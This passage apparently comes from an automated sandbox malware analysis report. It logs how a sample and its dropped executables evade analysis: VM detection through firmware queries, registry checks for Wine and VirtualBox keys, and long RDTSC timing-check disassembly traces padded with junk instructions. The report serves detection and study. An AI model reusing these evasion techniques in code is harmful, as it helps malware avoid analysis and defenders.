Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\Bire1g8ahY.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B60502 second address: B60506 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B6BF28 second address: B6BF6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F62F943B884h 0x0000000e pop ecx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F62F943B886h 0x00000019 popad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d jp 00007F62F943B878h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B6BF6D second address: B6BF83 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F62F8C4B19Bh 0x00000008 jns 00007F62F8C4B196h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B6BF83 second address: B6BF89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B6E52F second address: B6E536 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B6E536 second address: B6E56A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edi 0x00000009 jmp 00007F62F943B888h 0x0000000e pop edi 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jnp 00007F62F943B882h 0x00000019 jng 00007F62F943B87Ch 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B6E56A second address: B6E590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, dword ptr [eax] 0x00000006 jmp 00007F62F8C4B1A2h 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 js 00007F62F8C4B196h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B6E590 second address: B6E594 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B6E594 second address: B6E59A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B6E5CA second address: B6E657 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jl 00007F62F943B882h 0x0000000b jmp 00007F62F943B87Ch 0x00000010 popad 0x00000011 mov dword ptr [esp], eax 0x00000014 push 00000000h 0x00000016 push esi 0x00000017 call 00007F62F943B878h 0x0000001c pop esi 0x0000001d mov dword ptr [esp+04h], esi 0x00000021 add dword ptr [esp+04h], 0000001Ah 0x00000029 inc esi 0x0000002a push esi 0x0000002b ret 0x0000002c pop esi 0x0000002d ret 0x0000002e push edi 0x0000002f je 00007F62F943B87Bh 0x00000035 mov edx, 14EFA5CAh 0x0000003a pop esi 0x0000003b jnc 00007F62F943B88Ch 0x00000041 push 00000000h 0x00000043 sbb dl, FFFFFFAAh 0x00000046 push 037C5F78h 0x0000004b pushad 0x0000004c jmp 00007F62F943B889h 0x00000051 pushad 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B6E657 second address: B6E6DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62F8C4B1A6h 0x00000009 popad 0x0000000a popad 0x0000000b xor dword ptr [esp], 037C5FF8h 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007F62F8C4B198h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 0000001Bh 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c ja 00007F62F8C4B19Ch 0x00000032 push 00000003h 0x00000034 jns 00007F62F8C4B19Ah 0x0000003a sub dword ptr [ebp+122D3046h], eax 0x00000040 push 00000000h 0x00000042 mov esi, 24EA6136h 0x00000047 push 00000003h 0x00000049 mov si, di 0x0000004c call 00007F62F8C4B199h 0x00000051 push eax 0x00000052 push edx 0x00000053 push eax 0x00000054 push edx 0x00000055 jne 00007F62F8C4B196h 0x0000005b rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B6E6DA second address: B6E6DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B6E6DE second address: B6E6E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B6E6E4 second address: B6E704 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B885h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B6E704 second address: B6E708 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B6E708 second address: B6E70E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B6E70E second address: B6E729 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jp 00007F62F8C4B196h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 jnp 00007F62F8C4B196h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B6E8EB second address: B6E97B instructions: 0x00000000 rdtsc 0x00000002 js 00007F62F943B876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b mov eax, dword ptr [eax] 0x0000000d push ecx 0x0000000e push ecx 0x0000000f pushad 0x00000010 popad 0x00000011 pop ecx 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 jng 00007F62F943B889h 0x0000001d pop eax 0x0000001e sub cx, 6027h 0x00000023 mov esi, 07264D3Fh 0x00000028 lea ebx, dword ptr [ebp+1245A486h] 0x0000002e push 00000000h 0x00000030 push ebx 0x00000031 call 00007F62F943B878h 0x00000036 pop ebx 0x00000037 mov dword ptr [esp+04h], ebx 0x0000003b add dword ptr [esp+04h], 00000018h 0x00000043 inc ebx 0x00000044 push ebx 0x00000045 ret 0x00000046 pop ebx 0x00000047 ret 0x00000048 jnc 00007F62F943B881h 0x0000004e mov esi, 2B99B7C0h 0x00000053 push eax 0x00000054 push eax 0x00000055 push edx 0x00000056 jmp 00007F62F943B886h 0x0000005b rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B8E550 second address: B8E555 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B8E555 second address: B8E563 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62F943B87Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B8E7BC second address: B8E7CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62F8C4B19Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B8E7CC second address: B8E81E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F62F943B886h 0x0000000c push eax 0x0000000d jmp 00007F62F943B87Fh 0x00000012 pop eax 0x00000013 push ebx 0x00000014 jg 00007F62F943B876h 0x0000001a pop ebx 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e push ebx 0x0000001f pushad 0x00000020 popad 0x00000021 pop ebx 0x00000022 jmp 00007F62F943B885h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B8E81E second address: B8E83E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F8C4B19Bh 0x00000007 pushad 0x00000008 jmp 00007F62F8C4B1A0h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B8EA9B second address: B8EAC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F62F943B888h 0x0000000d pop ecx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B8EAC3 second address: B8EAD9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F62F8C4B1A0h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B8EAD9 second address: B8EAE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B8EEF3 second address: B8EF14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62F8C4B1A9h 0x00000009 pop edi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B8F43D second address: B8F443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B8F597 second address: B8F59B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B8F59B second address: B8F5C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F62F943B883h 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007F62F943B876h 0x00000013 jmp 00007F62F943B87Bh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B8F5C7 second address: B8F5FB instructions: 0x00000000 rdtsc 0x00000002 jns 00007F62F8C4B196h 0x00000008 jnp 00007F62F8C4B196h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 pushad 0x00000012 jnp 00007F62F8C4B1AEh 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a jmp 00007F62F8C4B1A6h 0x0000001f push eax 0x00000020 push edx 0x00000021 push ebx 0x00000022 pop ebx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B929BA second address: B929C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B919FE second address: B91A1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F62F8C4B1A8h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B92D68 second address: B92D7E instructions: 0x00000000 rdtsc 0x00000002 jc 00007F62F943B878h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 jbe 00007F62F943B876h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B4DF24 second address: B4DF44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F62F8C4B1A9h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B9A1C0 second address: B9A1C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B9A2DE second address: B9A2F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F8C4B1A0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B9A2F6 second address: B9A2FE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B9A427 second address: B9A43F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62F8C4B1A1h 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B9A57F second address: B9A593 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop esi 0x00000007 jo 00007F62F943B878h 0x0000000d push eax 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B9A9D8 second address: B9A9E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B9C909 second address: B9C90D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B9C90D second address: B9C911 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B9C99C second address: B9C9EF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 2F206A26h 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007F62F943B878h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 00000016h 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 call 00007F62F943B879h 0x0000002e jmp 00007F62F943B887h 0x00000033 push eax 0x00000034 push ebx 0x00000035 push eax 0x00000036 push edx 0x00000037 push esi 0x00000038 pop esi 0x00000039 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B9C9EF second address: B9C9F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B9C9F3 second address: B9CA04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B9CBA5 second address: B9CBAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B9CBAB second address: B9CBAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B9CBAF second address: B9CBB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B9CF2A second address: B9CF30 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B9D62F second address: B9D643 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62F8C4B1A0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B9D643 second address: B9D66D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B881h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c jc 00007F62F943B87Ah 0x00000012 mov si, 6CE8h 0x00000016 movzx edi, di 0x00000019 nop 0x0000001a push esi 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B9DA66 second address: B9DA6C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B9DA6C second address: B9DA71 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B9DB1A second address: B9DB1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B9DBCA second address: B9DC05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F62F943B876h 0x00000009 jg 00007F62F943B876h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push ebp 0x00000016 call 00007F62F943B878h 0x0000001b pop ebp 0x0000001c mov dword ptr [esp+04h], ebp 0x00000020 add dword ptr [esp+04h], 0000001Ah 0x00000028 inc ebp 0x00000029 push ebp 0x0000002a ret 0x0000002b pop ebp 0x0000002c ret 0x0000002d push eax 0x0000002e push eax 0x0000002f push eax 0x00000030 push edx 0x00000031 push ecx 0x00000032 pop ecx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B9E051 second address: B9E065 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62F8C4B1A0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B9E065 second address: B9E0A8 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F62F943B876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov dword ptr [ebp+122D3827h], esi 0x00000015 push 00000000h 0x00000017 mov esi, dword ptr [ebp+122D2B7Ah] 0x0000001d push 00000000h 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 jnp 00007F62F943B876h 0x00000029 jmp 00007F62F943B889h 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B9EAEF second address: B9EB6C instructions: 0x00000000 rdtsc 0x00000002 jns 00007F62F8C4B1AAh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007F62F8C4B198h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 00000019h 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 stc 0x00000028 push 00000000h 0x0000002a xor si, 3D80h 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push ecx 0x00000034 call 00007F62F8C4B198h 0x00000039 pop ecx 0x0000003a mov dword ptr [esp+04h], ecx 0x0000003e add dword ptr [esp+04h], 0000001Ch 0x00000046 inc ecx 0x00000047 push ecx 0x00000048 ret 0x00000049 pop ecx 0x0000004a ret 0x0000004b mov dword ptr [ebp+122D33F4h], edx 0x00000051 xchg eax, ebx 0x00000052 push eax 0x00000053 push edx 0x00000054 push edx 0x00000055 push edx 0x00000056 pop edx 0x00000057 pop edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B9EB6C second address: B9EB72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B9EB72 second address: B9EB76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B9EB76 second address: B9EBAC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B881h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007F62F943B885h 0x00000012 jng 00007F62F943B87Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B9FC83 second address: B9FC89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B9F399 second address: B9F39F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B9FC89 second address: B9FC8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B9FC8E second address: B9FCAD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e jmp 00007F62F943B880h 0x00000013 popad 0x00000014 rdtsc
